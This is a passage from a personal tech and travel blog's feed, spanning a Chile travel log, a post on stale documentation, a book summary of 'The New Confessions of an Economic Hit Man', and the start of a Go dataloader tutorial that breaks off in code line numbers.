<a href="https://www.viator.com/tours/Santiago/Small-Group-Cajn-del-Maipo-Full-Day-Tour-and-Picnic/d713-32917P5?pid=P00037355&amp;mcid=42383&amp;medium=link&amp;medium_version=selector&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">tour</a> of Maipo Canyon which goes to the scenic El Yeso water reserve.</p>
<figure>
    
    <a href="maipo-canyon-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maipo-canyon-1.jpg"
         alt="A picturesque view of Maipo Canyon showing steep, rugged terrain leading to the El Yeso water reserve, with a waterfall spotted in the scenic landscape." width="900"/> </a>
</figure>

<figure>
    
    <a href="maipo-canyon-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maipo-canyon-2.jpg"
         alt="A serene landscape features a large, calm body of water surrounded by rugged, mountain terrain, part of the Yeso water reserve." width="900"/> </a>
</figure>

<p>We spotted a waterfall on our way back.</p>
<figure>
    
    <a href="maipo-canyon-3-waterfall-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="maipo-canyon-3-waterfall-768x1024.jpg"
         alt="A waterfall is visible in a canyon landscape, surrounded by rocky terrain and greenery, highlighting a natural attraction encountered during a trip through Maipo Canyon." width="900"/> </a>
</figure>

<p>While returning, we covered a few other spots like the Tinoco tunnel.
Our guide claimed that it was used by Pinochet to murder and dump bodies right into the river.
The claim does not seem to have any backing online though.</p>
<figure>
    
    <a href="name-the-tunnel.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="name-the-tunnel.jpeg"
         alt="An abandoned train tunnel used for transporting gold, situated in a rural setting, near San José Del Maipo" width="900"/> </a>
</figure>

<p>Then we stopped at an abandoned train that was used for moving gold mined in San José Del Maipo to Santiago.</p>
<figure>
    
    <a href="abandoned-train.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="abandoned-train.jpg"
         alt="An abandoned train once used for transporting gold from San José Del Maipo to Santiago stands still, surrounded by lush vegetation, hinting at a bygone industrial era." width="900"/> </a>
</figure>

<p>Our final stop was a chocolate shop</p>
<figure>
    
    <a href="Chocolate-shop-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Chocolate-shop-768x1024.jpg"
         alt="Chocolate Shop" width="900"/> </a>
</figure>

<p>In the afternoon, we visited the central market, La Vega Chica.
It is great for seeing the wide varieties of food that are available in Chile at very reasonable prices.
They had vegan dishes to try as well.</p>
<h3 id="day-4---santiago-city">Day 4 - Santiago City</h3>
<p>We visited the Museum of   
    
    
<a href="https://web.museodelamemoria.cl/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Memory and Human Rights</a> which focuses on the human rights abuses during the dictatorship
of   
    
    
<a href="https://en.wikipedia.org/wiki/Augusto_Pinochet?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Augusto Pinochet</a>.
Carry your earphones for the audio tour and expect to spend about 2-3 hours here.</p>
<figure>
    
    <a href="santiago-musem-of-human-rights-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-musem-of-human-rights-768x1024.jpg"
         alt="Santiago Museum of Human Rights" width="900"/> </a>
</figure>

<figure>
    
    <a href="santiago-musem-of-human-rights-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-musem-of-human-rights-2.jpg"
         alt="Santiago Museum of Human Rights" width="900"/> </a>
</figure>

<p>In the afternoon, we visited the San Cristobal Hills.
You can either hike or take the funicular/cable car to the top of the hill.
The hike is intense as well as scenic.</p>
<figure>
    
    <a href="santiago-from-cerro-san-cristobal.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-from-cerro-san-cristobal.jpg"
         alt="A panoramic view of Santiago, Chile, from Cerro San Cristóbal highlights the urban landscape with distant mountains. It suggests hiking or using a cable car for access." width="900"/> </a>
</figure>

<figure>
    
    <a href="santiago-from-cerro-san-cristobal-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="santiago-from-cerro-san-cristobal-2.jpg"
         alt="Panoramic view of Santiago, Chile, captured from Cerro San Cristóbal, highlighting the cityscape with mountains in the background under a clear sky." width="900"/> </a>
</figure>

]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/chile" term="chile" label="chile"/><category scheme="https://ashishb.net/tag/latin-america" term="latin-america" label="latin-america"/></entry><entry><title type="html">Too much documentation is harmful</title><link href="https://ashishb.net/tech/too-much-documentation-is-harmful/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/timing/?utm_source=atom_feed" rel="related" type="text/html" title="Timing"/><link href="https://ashishb.net/tech/real-vs-theoretical-engineering-productivity/?utm_source=atom_feed" rel="related" type="text/html" title="Real vs Theoretical Engineering Productivity"/><link href="https://ashishb.net/tech/play-to-earn-games/?utm_source=atom_feed" rel="related" type="text/html" title="Play-to-earn games"/><link href="https://ashishb.net/tech/engineering-stack/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering stack"/><link href="https://ashishb.net/tech/engineering-guardrails/?utm_source=atom_feed" rel="related" type="text/html" title="Engineering Guardrails"/><id>https://ashishb.net/tech/too-much-documentation-is-harmful/</id><author><name>Ashish Bhatia</name></author><published>2023-07-01T07:55:00+00:00</published><updated>2023-07-01T07:55:00+00:00</updated><content type="html"><![CDATA[<blockquote>Discover effective strategies to keep your documentation from going stale. Learn why minimizing documentation and automating updates are vital for accuracy and efficiency.</blockquote><p>As code changes, documentation becomes stale over time.</p>
<p>This happens at big companies.
This happens at small companies.
Unlike code, documentation is not compiled or tested.
The code is executed. If the code execution fails or produces incorrect results, it is fixed with much higher urgency.</p>
<p>Too much documentation, like too 
<a href="/all/bad-and-good-ways-to-write-automated-tests/">many tests</a>, is a bad idea. It slows down engineers who might not be well-versed in composing English proses. Further, if documentation is say about 90% accurate, it is useless for onboarding or training new engineers, as they won&rsquo;t know what 10% portion is incorrect.</p>
<p>What&rsquo;s a better approach?</p>
<ol>
<li>Minimize documentation - Like tests, write documentation along the axis of minimum change. Provide the overarching overview of the system. But don&rsquo;t specify the database schema in the documentation, link to the code instead. Similarly, don&rsquo;t specify precise tools like <code>pip</code> or <code>yarn</code> either as these tools keep evolving. Just link to the 
<a href="/all/engineering-guardrails/">correct</a> command file like <code>Makefile</code> or <code>package.json</code>. If the link fails to resolve, it would be an immediate indicator that documentation is obsolete.</li>
<li>Automate documentation generation - Tools like <code>pandoc</code>, <code>go docs</code> and <code>Java docs</code> are great at generating automated documentation from the codebase. This is less likely to go stale. Even for external APIs like OpenAPI, one can automate documentation generation by adding relevant hooks directly in the codebase. For example, libraries like   
    
    
<a href="https://github.com/wI2L/fizz?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fizz</a> (for Go) and   
    
    
<a href="https://www.npmjs.com/package/swagger-autogen?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">swagger-autogen</a> (for Node JS) can generate <code>openapi.yaml</code> and <code>openapi.json</code> spec directly from the code. Add a   
    
    
<a href="https://github.com/ashishb/gabo?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CI task</a> to automate this generation and then the specification would never drift away from the source code.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/></entry><entry><title type="html">Book summary: The New Confessions of an Economic Hit Man</title><link href="https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/how-to-live/?utm_source=atom_feed" rel="related" type="text/html" title='Notable quotes from "How to Live" by Derek Sivers'/><link href="https://ashishb.net/book-summary/what-i-learned-losing-a-million-dollars-by-jim-paul/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: What I learned losing a million dollars by Jim Paul"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><link href="https://ashishb.net/book-summary/the-half-life-of-facts/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The half-life of Facts by Samuel Arbesman"/><link href="https://ashishb.net/book-summary/the-mom-test/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Mom Test by Rob Fitzpatrick"/><id>https://ashishb.net/book-summary/the-new-confessions-of-an-economic-hit-man/</id><author><name>Ashish Bhatia</name></author><published>2023-06-17T16:00:09+00:00</published><updated>2023-06-17T16:00:09+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the dark world of economic hitmen targeting poor nations with false promises, leading to crippling debt and resource exploitation. Unveil these hidden truths.</blockquote><p>The   
    
    
<a href="https://amzn.to/3KlPPU4?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is a memoir of John Perkins who worked as an economic hitman.</p>
<p>Companies in developed nations target resource-rich poor nations with potential infrastructure projects.
The projections of economic growth via such infrastructure growth are lofty.
Those lofty projections are used to get funds from organizations like World Bank and US AID.
Eventually, the economic growth falls short and then the poor country is left even more debt-laden.
Forcing it to sell its natural resources.
Now, the job of the economic hitman is complete.</p>
<p>If the poor country refuses such overtures.
Then the &ldquo;jackals&rdquo; are sent, whose job is to kill the opponents to the deal.
And if they fail the job then the coup route is usually taken.</p>
<p>
<a href="/travel/ecuador/">Ecuador</a>, where John Perkins went, for economic analysis, is the example of the first scenario where the government was left debt-laden.</p>
<p>In 1953, in Iran, the US did a coup d&rsquo;état to overturn the democratically elected Mosaddegh.
Saudi Arabia&rsquo;s King to avoid this fate ended up becoming a US ally which led to the creation of the   
    
    
<a href="https://en.wikipedia.org/wiki/Petrocurrency?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">petro-dollar</a>.</p>
<p>In 1989, in Panama, the   
    
    
<a href="https://en.wikipedia.org/wiki/United_States_invasion_of_Panama?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">US bombed civilians</a> with the main goal of removing their leader Noriega.
Libya&rsquo;s Gadafi met a similar fate.</p>
<p>In 1981, a group of mercenaries heading to   
    
    
<a href="https://en.wikipedia.org/wiki/1981_Seychelles_coup_d%27%C3%A9tat_attempt?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">coup the Seychelles government</a> were almost caught,
they   
    
    
<a href="https://thewire.in/uncategorised/air-india-plane-hijacked-mercenaries-seychelles?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">hijacked</a> Air India 707 instead to run away.
However, they were caught and leader Peter Duffy spent 21 months in prison in South Africa.
His memoir was later published in a   
    
    
<a href="https://amzn.to/3KkikBk?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a>, and he died right before the book launch.</p>
<p>The interesting part is that right from those working in NGO do-gooders, to big companies,
to the CIA, no one starts with such nefarious goals.
However, the system eventually leads to these outcomes.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/></entry><entry><title type="html">API backend should use dataloaders</title><link href="https://ashishb.net/programming/api-backend-should-use-dataloaders/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/how-to-add-a-new-formula-to-homebrew-package-manager/?utm_source=atom_feed" rel="related" type="text/html" title="How to add a new formula to homebrew package manager"/><link href="https://ashishb.net/programming/how-to-setup-go-packages-under-monorepo/?utm_source=atom_feed" rel="related" type="text/html" title="How to setup Go packages under monorepo"/><link href="https://ashishb.net/programming/android-always-show-toasts-on-the-background-thread/?utm_source=atom_feed" rel="related" type="text/html" title="Android: Always show toasts on the background thread"/><link href="https://ashishb.net/programming/how-to-deploy-docker-images-on-microsoft-azure/?utm_source=atom_feed" rel="related" type="text/html" title="How to deploy Docker images on Microsoft Azure"/><link href="https://ashishb.net/programming/end-to-end-testing-mobile-apps/?utm_source=atom_feed" rel="related" type="text/html" title="End-to-end testing of mobile apps"/><id>https://ashishb.net/programming/api-backend-should-use-dataloaders/</id><author><name>Ashish Bhatia</name></author><published>2023-06-15T03:35:11+00:00</published><updated>2023-06-15T03:35:11+00:00</updated><content type="html"><![CDATA[<blockquote>Optimize your backend API with data loaders, reducing latency and enhancing performance through efficient request batching. Discover how to implement this using Go.</blockquote><p>Data Loaders allow transparent batching of requests to a data provider (e.g. database). More often than not, this leads to reduced latency and better performance without forcing an explicit batching of requests for the API users, for example, your frontend developers.</p>
<p>Many programmers relate data loaders to Graph QL for   
    
    
<a href="https://gqlgen.com/reference/dataloaders/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">N+1 query patterns</a>. I believe data loaders are a great idea any time you are building an API backend. Let me illustrate the concept with a simple example. And while I am using Go as an   
    
    
<a href="https://github.com/graph-gophers/dataloader?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">example</a>, data loader implementations are available in many   
    
    
<a href="https://github.com/graphql/dataloader#other-implementations?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">languages</a>.</p>
<p>Let&rsquo;s take a toy example of a database service that will take 50 ± 20 ms to respond to a single request. And for the sake of simplicity let&rsquo;s assume it will take 2X longer to respond to a batch of up to 10 requests. All these numbers are configurable in the code below for simulation. With some experimentation, you can figure out the approximate range for your database service as well. As a concrete example, assume that given a student ID, the service returns the student&rsquo;s score. And to add error flow to it, the service returns an error when the student ID is a negative number.</p>
<p>Let&rsquo;s assume there is a DBService</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#268bd2">type</span> DBService <span style="color:#268bd2">interface</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">GetScore</span>(studentID <span style="color:#dc322f">int</span>) Result
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// For batched results</span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">GetScores</span>(studentID []<span style="color:#dc322f">int</span>) []Result
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And we will implement some boilerplate web service that uses this without a data loader</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">32
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">33
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">34
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">35
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">36
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">37
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">38
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">39
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">40
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">41
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">42
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">43
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">44
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">45
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">46
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">47
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">48
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">49
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">50
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">51
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">52
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">53
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">54
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">55
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">56
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">57
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">58
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">71
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">72
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">73
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">74
